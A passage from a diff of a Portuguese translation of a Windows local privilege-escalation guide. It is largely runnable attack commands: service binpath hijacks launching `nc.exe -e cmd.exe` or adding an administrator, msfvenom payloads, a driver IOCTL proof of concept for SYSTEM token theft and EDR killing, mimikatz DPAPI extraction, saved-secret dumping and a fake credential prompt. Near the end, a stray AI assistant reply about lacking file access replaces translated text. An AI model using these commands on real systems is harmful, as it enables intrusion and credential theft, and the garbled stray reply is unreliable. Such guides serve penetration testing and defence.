serviço. Para modificar e executar **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -497,17 +497,17 @@ net stop [service name] && net start [service name] ``` Privilégios podem ser escalados através de várias permissões: -- **SERVICE_CHANGE_CONFIG**: Permite reconfigurar o binário do serviço. -- **WRITE_DAC**: Permite reconfiguração de permissões, possibilitando alterar configurações do serviço. +- **SERVICE_CHANGE_CONFIG**: Permite reconfiguração do binário do serviço. +- **WRITE_DAC**: Habilita reconfiguração de permissões, levando à capacidade de alterar configurações do serviço. - **WRITE_OWNER**: Permite aquisição de propriedade e reconfiguração de permissões. -- **GENERIC_WRITE**: Herda a capacidade de alterar configurações do serviço. -- **GENERIC_ALL**: Também herda a capacidade de alterar configurações do serviço. +- **GENERIC_WRITE**: Concede a capacidade de alterar configurações do serviço. +- **GENERIC_ALL**: Também concede a capacidade de alterar configurações do serviço. Para a detecção e exploração desta vulnerabilidade, pode-se utilizar o _exploit/windows/local/service_permissions_. -### Services binaries weak permissions +### Binários de serviços com permissões fracas -**Verifique se pode modificar o binário que é executado por um serviço** ou se você tem **permissão de escrita na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html)).\ +**Verifique se você pode modificar o binário que é executado por um serviço** ou se você tem **permissões de escrita na pasta** onde o binário está localizado ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ Você pode obter todos os binários que são executados por um serviço usando **wmic** (não em system32) e verificar suas permissões usando **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -522,8 +522,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Permissões de modificação do registro de serviços -Você deve verificar se pode modificar qualquer registro de serviço.\ -Você pode **verificar** suas **permissões** sobre um **registro de serviço** fazendo: +Você deve verificar se consegue modificar algum registro de serviço.\ +Você pode **verificar** suas **permissões** sobre um **registro** de serviço executando: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -532,26 +532,26 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Deve-se verificar se **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possuem permissões `FullControl`. Se for o caso, o binário executado pelo serviço pode ser alterado. +Deve-se verificar se **Authenticated Users** ou **NT AUTHORITY\INTERACTIVE** possuem permissões `FullControl`. Se sim, o binário executado pelo serviço pode ser alterado. -Para alterar o Path do binário executado: +Para alterar o caminho do binário executado: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Permissões AppendData/AddSubdirectory no registro de serviços +### Registro de serviços AppendData/AddSubdirectory permissões -Se você tem essa permissão sobre um registro isso significa que **você pode criar sub-registros a partir deste**. No caso de serviços do Windows isso é **suficiente para executar código arbitrário:** +Se você tiver essa permissão sobre um registro isso significa que **você pode criar subregistros a partir deste**. No caso de Windows services isto é **suficiente para executar código arbitrário:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Caminhos de serviço sem aspas +### Unquoted Service Paths -Se o caminho para um executável não estiver entre aspas, Windows tentará executar cada parte que termina antes de um espaço. +Se o caminho para um executável não estiver entre aspas, o Windows tentará executar cada parte antes de um espaço. -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +Por exemplo, para o caminho _C:\Program Files\Some Folder\Service.exe_ o Windows tentará executar: ```bash C:\Program.exe C:\Program Files\Some.exe @@ -583,13 +583,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Ações de Recuperação -Windows permite que usuários especifiquem ações a serem executadas caso um serviço falhe. Esse recurso pode ser configurado para apontar para um binary. Se esse binary puder ser substituído, privilege escalation pode ser possível. Mais detalhes podem ser encontrados na [documentação oficial](). +Windows permite que usuários especifiquem ações a serem tomadas caso um serviço falhe. Esse recurso pode ser configurado para apontar para um binary. Se esse binary for substituível, privilege escalation pode ser possível. Mais detalhes podem ser encontrados na [documentação oficial](). ## Aplicações ### Aplicações Instaladas -Verifique as **permissões dos binaries** (talvez você consiga sobrescrever um e realizar privilege escalation) e das **pastas** ([DLL Hijacking](dll-hijacking/index.html)). +Verifique as **permissões dos binaries** (talvez você consiga sobrescrever um e escalate privileges) e das **pastas** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,11 +598,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Permissões de Escrita +### Permissões de escrita Verifique se você pode modificar algum arquivo de configuração para ler algum arquivo especial ou se pode modificar algum binário que será executado por uma conta Administrator (schedtasks). -Uma maneira de encontrar permissões fracas de pastas/arquivos no sistema é executar: +Uma forma de encontrar permissões fracas em pastas/arquivos no sistema é fazendo: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -627,8 +627,8 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Executar na inicialização -**Verifique se você pode sobrescrever algum registry ou binary que será executado por outro usuário.**\ -**Leia** a **página a seguir** para saber mais sobre **autoruns locations interessantes para escalar privilégios**: +**Verifique se consegue sobrescrever algum registry ou binary que será executado por um usuário diferente.**\ +**Leia** a **página a seguir** para aprender mais sobre locais interessantes de **autoruns** para **escalate privileges**: {{#ref}} @@ -637,29 +637,29 @@ privilege-escalation-with-autorun-binaries.md ### Drivers -Procure possíveis **drivers de terceiros estranhos/vulneráveis** +Procure por possíveis **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Se um driver expõe uma primitiva arbitrária de leitura/gravação do kernel (comum em handlers IOCTL mal projetados), você pode escalar privilégios roubando um token SYSTEM diretamente da memória do kernel. Veja a técnica passo a passo aqui: +Se um driver expõe uma primitiva de leitura/escrita arbitrária do kernel (comum em manipuladores IOCTL mal projetados), você pode escalar privilegiost roubando um token SYSTEM diretamente da memória do kernel. Veja a técnica passo a passo aqui: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### Abuso da ausência de FILE_DEVICE_SECURE_OPEN em objetos de dispositivo (LPE + EDR kill) +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) -Alguns drivers de terceiros assinados criam seu objeto de dispositivo com um SDDL forte via IoCreateDeviceSecure, mas esquecem de definir FILE_DEVICE_SECURE_OPEN em DeviceCharacteristics. Sem essa flag, a DACL segura não é aplicada quando o dispositivo é aberto por um caminho que contenha um componente extra, permitindo que qualquer usuário sem privilégios obtenha um handle usando um caminho de namespace como: +Alguns drivers de terceiros assinados criam seu objeto de dispositivo com um SDDL forte via IoCreateDeviceSecure mas esquecem de setar FILE_DEVICE_SECURE_OPEN em DeviceCharacteristics. Sem essa flag, a DACL segura não é aplicada quando o dispositivo é aberto através de um caminho que contenha um componente extra, permitindo que qualquer usuário não privilegiado obtenha um handle usando um caminho de namespace como: - \\ .\\DeviceName\\anything - \\ .\\amsdk\\anyfile (from a real-world case) -Uma vez que um usuário consegue abrir o dispositivo, IOCTLs privilegiados expostos pelo driver podem ser abusados para LPE e manipulação. Capacidades de exemplo observadas na prática: -- Retornar handles com acesso total para processos arbitrários (token theft / shell SYSTEM via DuplicateTokenEx/CreateProcessAsUser). -- Leitura/gravação raw de disco sem restrições (manipulação offline, truques de persistência no boot). -- Encerrar processos arbitrários, incluindo Protected Process/Light (PP/PPL), permitindo AV/EDR kill a partir do user land via kernel. +Uma vez que um usuário consegue abrir o dispositivo, IOCTLs privilegiados expostos pelo driver podem ser abusados para LPE e manipulação. Capacidades observadas na prática: +- Retornar handles com acesso total para processos arbitrários (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Leitura/escrita raw de disco sem restrições (offline tampering, truques de persistência no boot). +- Terminar processos arbitrários, incluindo Protected Process/Light (PP/PPL), permitindo matar AV/EDR a partir do user land via kernel. Padrão mínimo de PoC (user mode): ```c @@ -674,20 +674,20 @@ DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0) DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` Mitigações para desenvolvedores -- Sempre defina FILE_DEVICE_SECURE_OPEN ao criar objetos de dispositivo destinados a ser restritos por um DACL. -- Valide o contexto do chamador para operações privilegiadas. Adicione verificações PP/PPL antes de permitir o encerramento de processos ou o retorno de handles. -- Restringa IOCTLs (access masks, METHOD_*, validação de entrada) e considere modelos intermediados em vez de privilégios diretos no kernel. +- Sempre defina FILE_DEVICE_SECURE_OPEN ao criar device objects destinados a serem restritos por um DACL. +- Valide o contexto do chamador para operações privilegiadas. Adicione checagens PP/PPL antes de permitir o término de processos ou o retorno de handles. +- Restrinja IOCTLs (access masks, METHOD_*, input validation) e considere brokered models em vez de privilégios diretos no kernel. -Detecção — ideias para defensores -- Monitore aberturas em user-mode de nomes de dispositivos suspeitos (e.g., \\ .\\amsdk*) e sequências específicas de IOCTL indicativas de abuso. -- Aplique a blocklist de drivers vulneráveis da Microsoft (HVCI/WDAC/Smart App Control) e mantenha suas próprias listas de permissão/negação. +Detection ideas for defenders +- Monitore aberturas em user-mode de nomes de dispositivo suspeitos (e.g., \\ .\\amsdk*) e sequências específicas de IOCTL indicativas de abuso. +- Aplique a blocklist de drivers vulneráveis da Microsoft (HVCI/WDAC/Smart App Control) e mantenha suas próprias listas de allow/deny. ## PATH DLL Hijacking -Se você tem **permissões de escrita dentro de uma pasta presente em PATH** você poderia conseguir hijack a DLL carregada por um processo e **escalate privileges**. +Se você tiver **write permissions inside a folder present on PATH** pode ser capaz de hijack a DLL carregada por um processo e **escalate privileges**. -Verifique as permissões de todas as pastas dentro de PATH: +Verifique as permissões de todas as pastas dentro do PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` @@ -708,9 +708,9 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### arquivo hosts +### hosts file -Verifique se há outros computadores conhecidos hardcoded no arquivo hosts +Verifique se há outros computadores conhecidos hardcoded no hosts file ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -722,7 +722,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Portas Abertas -Verifique a existência de **serviços restritos** acessíveis externamente. +Verifique se há **serviços restritos** acessíveis externamente ```bash netstat -ano #Opened ports? ``` @@ -736,11 +736,11 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Regras de Firewall +### Firewall Rules -[**Confira esta página para comandos relacionados ao Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar regras, criar regras, desativar, desativar...)** +[**Consulte esta página para comandos relacionados ao Firewall**](../basic-cmd-for-pentesters.md#firewall) **(listar regras, criar regras, desativar, desativar...)** -Mais[ comandos para enumeração de rede aqui](../basic-cmd-for-pentesters.md#network) +Mais [comandos para enumeração de rede aqui](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -749,7 +749,7 @@ C:\Windows\System32\wsl.exe ``` O binário `bash.exe` também pode ser encontrado em `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Se você conseguir o usuário root, pode escutar em qualquer porta (na primeira vez que você usar `nc.exe` para escutar em uma porta, ele perguntará via GUI se `nc` deve ser permitido pelo firewall). +Se você obtiver o usuário root, pode escutar em qualquer porta (na primeira vez que você usar `nc.exe` para escutar em uma porta, ele perguntará via GUI se `nc` deve ser permitido pelo firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -758,7 +758,7 @@ wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` Para iniciar facilmente o bash como root, você pode tentar `--default-user root` -Você pode explorar o `WSL` filesystem na pasta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Você pode explorar o sistema de arquivos do `WSL` na pasta `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Credenciais do Windows @@ -774,14 +774,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### Gerenciador de credenciais / Windows Vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -O Windows Vault armazena credenciais de usuário para servidores, websites e outros programas que **Windows** pode **efetuar o login automático dos usuários**. A princípio, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente via navegadores. Mas não é assim. +O Windows Vault armazena credenciais de usuário para servidores, websites e outros programas nos quais o **Windows** pode efetuar o login dos usuários automaticamente. À primeira vista, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente via navegadores. Mas não é assim. -O Windows Vault armazena credenciais que o Windows pode usar para efetuar o login automático dos usuários, o que significa que qualquer **Windows application that needs credentials to access a resource** (servidor ou um website) **can make use of this Credential Manager** & Windows Vault e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo. +O Windows Vault armazena credenciais que o Windows pode usar para efetuar o login dos usuários automaticamente, o que significa que qualquer **aplicativo Windows que precise de credenciais para acessar um recurso** (servidor ou um website) **pode fazer uso deste Credential Manager** e do Windows Vault e utilizar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo. -A menos que as aplicações interajam com Credential Manager, não acredito que seja possível para elas usarem as credenciais para um dado recurso. Portanto, se sua aplicação quiser fazer uso do vault, ela deve de alguma forma **comunicar-se com o credential manager e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão. +A menos que os aplicativos interajam com o Credential Manager, não acho que seja possível que eles usem as credenciais para um determinado recurso. Portanto, se seu aplicativo quiser usar o cofre, ele deve de alguma forma **comunicar-se com o Credential Manager e solicitar as credenciais para esse recurso** do cofre de armazenamento padrão. Use o `cmdkey` para listar as credenciais armazenadas na máquina. ```bash @@ -803,25 +803,27 @@ Observe que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util ### DPAPI -The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. +A **Data Protection API (DPAPI)** fornece um método para criptografia simétrica de dados, predominantemente usado no sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo do usuário ou do sistema para contribuir significativamente para a entropia. -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. +**DPAPI permite a criptografia de chaves por meio de uma chave simétrica derivada dos segredos de login do usuário**. Em cenários envolvendo criptografia do sistema, ela utiliza os segredos de autenticação de domínio do sistema. -Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, tipicamente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a esse diretório é restrito, impedindo listar seu conteúdo via o comando `dir` no CMD, embora possa ser listado através do PowerShell). +Chaves RSA de usuário criptografadas, ao usar o DPAPI, são armazenadas no diretório `%APPDATA%\Microsoft\Protect\{SID}`, onde `{SID}` representa o [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) do usuário. **A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo**, normalmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a esse diretório é restrito, impedindo listar seu conteúdo via o comando `dir` no CMD, embora possa ser listado através do PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` Você pode usar o **mimikatz module** `dpapi::masterkey` com os argumentos apropriados (`/pvk` ou `/rpc`) para descriptografá-lo. -Os **credentials files protected by the master password** geralmente estão localizados em: +Os **arquivos de credenciais protegidos pela senha mestra** geralmente estão localizados em: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Você pode usar **mimikatz module** `dpapi::cred` com o `/masterkey` apropriado para descriptografar.\ Você pode **extrair muitos DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root). +Você pode usar **mimikatz module** `dpapi::cred` com o `/masterkey` apropriado para descriptografar.\ +Você pode **extrair muitas DPAPI** **masterkeys** da **memória** com o módulo `sekurlsa::dpapi` (se você for root). + {{#ref}} dpapi-extracting-passwords.md @@ -829,7 +831,7 @@ dpapi-extracting-passwords.md ### Credenciais do PowerShell -**Credenciais do PowerShell** são frequentemente usadas para tarefas de **scripting** e automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando **DPAPI**, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas. +**PowerShell credentials** são frequentemente usadas para tarefas de **scripting** e automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando **DPAPI**, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas. Para **descriptografar** uma credencial do PS a partir do arquivo que a contém, você pode fazer: ```bash @@ -842,7 +844,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### Wi-Fi ```bash #List saved Wifi using netsh wlan show profile @@ -856,7 +858,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| Você pode encontrá-las em `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ e em `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Comandos executados recentemente +### Comandos Executados Recentemente ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -865,18 +867,18 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use o módulo `dpapi::rdg` do **Mimikatz** com o `/masterkey` apropriado para **descriptografar quaisquer arquivos .rdg`\ -Você pode **extrair muitos DPAPI masterkeys** da memória com o módulo `sekurlsa::dpapi` do **Mimikatz** +Use o módulo `dpapi::rdg` do **Mimikatz** com o `/masterkey` apropriado para **descriptografar quaisquer arquivos .rdg**\ +Você pode **extrair muitas DPAPI masterkeys** da memória com o módulo `sekurlsa::dpapi` do **Mimikatz** ### Sticky Notes -Frequentemente as pessoas usam o aplicativo StickyNotes em estações de trabalho Windows para **salvar senhas** e outras informações, sem perceber que é um arquivo de banco de dados. Esse arquivo está localizado em `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` e sempre vale a pena procurá-lo e examiná-lo. +Pessoas frequentemente usam o app StickyNotes em estações de trabalho Windows para **salvar senhas** e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` e vale sempre a pena procurá-lo e examiná-lo. ### AppCmd.exe -**Observe que, para recuperar senhas do AppCmd.exe, você precisa ser Administrador e executar com nível de integridade alto.**\ +**Observe que, para recuperar senhas do AppCmd.exe, você precisa ser Administrador e executar em um nível de alta integridade.**\ **AppCmd.exe** está localizado no diretório `%systemroot%\system32\inetsrv\`.\ -Se esse arquivo existir, é possível que algumas **credenciais** tenham sido configuradas e possam ser **recuperadas**. +Se este arquivo existir, é possível que algumas **credentials** tenham sido configuradas e possam ser **recuperadas**. Este código foi extraído de [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -959,7 +961,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Verifique se `C:\Windows\CCM\SCClient.exe` existe .\ -Instaladores são **executados com privilégios SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Info de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Instaladores são **executados com privilégios SYSTEM**, muitos são vulneráveis a **DLL Sideloading (Informações de** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -967,29 +969,29 @@ else { Write "Not Installed." } ``` ## Arquivos e Registro (Credenciais) -### Putty Creds +### Putty Credenciais ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty Chaves SSH do Host +### Chaves de host SSH do Putty ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### Chaves SSH no registro -Chaves privadas SSH podem ser armazenadas dentro da chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, portanto você deve verificar se há algo interessante lá: +Chaves privadas SSH podem ser armazenadas na chave de registro `HKCU\Software\OpenSSH\Agent\Keys`, então você deve verificar se há algo interessante lá: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Se encontrar alguma entrada dentro desse caminho, provavelmente será uma SSH key salva. Ela está armazenada criptografada, mas pode ser facilmente descriptografada usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Se você encontrar qualquer entrada dentro desse caminho, provavelmente será uma chave SSH salva. Ela é armazenada criptografada, mas pode ser facilmente descriptografada usando [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Mais informações sobre esta técnica aqui: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Se o serviço `ssh-agent` não estiver em execução e você quiser que ele inicie automaticamente na inicialização, execute: +Se o serviço `ssh-agent` não estiver em execução e você quiser que ele inicie automaticamente no boot, execute: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Parece que esta técnica não é mais válida. Tentei criar algumas ssh keys, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação por chave assimétrica. +> Parece que essa técnica não é mais válida. Tentei criar algumas ssh keys, adicioná-las com `ssh-add` e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de `dpapi.dll` durante a autenticação por chave assimétrica. ### Arquivos desatendidos ``` @@ -1006,7 +1008,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Você também pode procurar esses arquivos usando **metasploit**: _post/windows/gather/enum_unattend_ +Você também pode procurar por esses arquivos usando **metasploit**: _post/windows/gather/enum_unattend_ Conteúdo de exemplo: ```xml @@ -1027,7 +1029,7 @@ Conteúdo de exemplo: ``` -### Backups do SAM & SYSTEM +### Cópias de segurança do SAM e do SYSTEM ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1037,7 +1039,7 @@ Conteúdo de exemplo: %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Credenciais na Nuvem +### Credenciais de Nuvem ```bash #From user home .aws\credentials @@ -1049,11 +1051,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml +Procure por um arquivo chamado **SiteList.xml** + ### Senha GPP em cache -Uma funcionalidade anteriormente disponível permitia a implantação de contas locais de administrador personalizadas em um conjunto de máquinas via Group Policy Preferences (GPP). Entretanto, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados. +Uma funcionalidade estava disponível anteriormente que permitia a implantação de contas de administrador local personalizadas em um grupo de máquinas via Group Policy Preferences (GPP). No entanto, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados. -Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP armazenados localmente em cache que contenham um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e correção dessa vulnerabilidade de segurança. +Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP em cache local que contenham um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e na correção dessa vulnerabilidade de segurança. Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior ao W Vista)_ for these files: @@ -1073,7 +1077,7 @@ Usando crackmapexec para obter as senhas: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### Configuração Web do IIS ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1117,7 +1121,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logs +### Registros ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1125,9 +1129,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Peça credenciais +### Pedir credentials -Você pode sempre **pedir ao usuário para inserir suas credenciais ou até as credenciais de outro usuário** se achar que ele pode conhecê‑las (observe que **pedir** diretamente ao cliente pelas **credenciais** é realmente **arriscado**): +Você pode sempre **pedir ao usuário que insira suas credentials ou mesmo as credentials de outro usuário** se você achar que ele pode conhecê-las (observe que **pedir** diretamente ao cliente pelas **credentials** é realmente **arriscado**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1201,7 +1205,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Não tenho acesso ao seu sistema de arquivos. Por favor, cole aqui o conteúdo do arquivo src/windows-hardening/windows-local-privilege-escalation/README.md (ou envie os arquivos propostos) e eu farei a tradução para português mantendo exatamente a mesma sintaxe Markdown/HTML e as exceções que você indicou. Quer que eu traduza todo o arquivo ou apenas seções específicas? +Não tenho acesso ao seu sistema de arquivos para "procurar" os arquivos. Por favor, cole o conteúdo de src/windows-hardening/windows-local-privilege-escalation/README.md (ou envie os arquivos que quer que eu traduza). Se quiser que eu procure/traduza vários arquivos, forneça a lista de caminhos ou compacte e envie-os. Vou então traduzir o texto relevante para português mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir código, links, tags ou caminhos. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == 